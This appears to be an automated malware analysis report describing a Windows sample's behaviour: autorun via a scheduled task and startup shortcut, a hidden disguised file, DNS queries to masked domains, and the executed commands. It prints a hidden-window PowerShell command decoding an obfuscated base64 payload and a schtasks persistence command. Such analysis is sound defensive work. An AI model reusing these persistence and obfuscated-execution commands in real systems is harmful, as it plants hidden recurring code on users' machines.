Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windowsapplicationservice
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsapplicationservice.lnk
Modifies file system
Creates the following files
- C:\users\public\libraries\thumbcache_64.db
Sets the 'hidden' attribute to the following files
- C:\users\public\libraries\thumbcache_64.db
Network activity
UDP
- DNS ASK ge##.###gmonthairsalon.com
- DNS ASK ag####kxmdqx.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'JGlld2R0emN4ID0gJGVudjpQVUJMSUMgKyAiXExpYnJhcmllcyIKaWYgKC1ub3QgKFRlc3QtUGF0aCAkaW...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 'JGlld2R0emN4ID0gJGVudjpQVUJMSUMgKyAiXExpYnJhcmllcyIKaWYgKC1ub3QgKFRlc3QtUGF0aCAkaW...
- '<SYSTEM32>\schtasks.exe' /create /TN WindowsApplicationService /sc DAILY /st 00:00 /f /RI 13 /du 23:59 /TR C:\Users\Public\Libraries\WindowsIndexingService.vbs
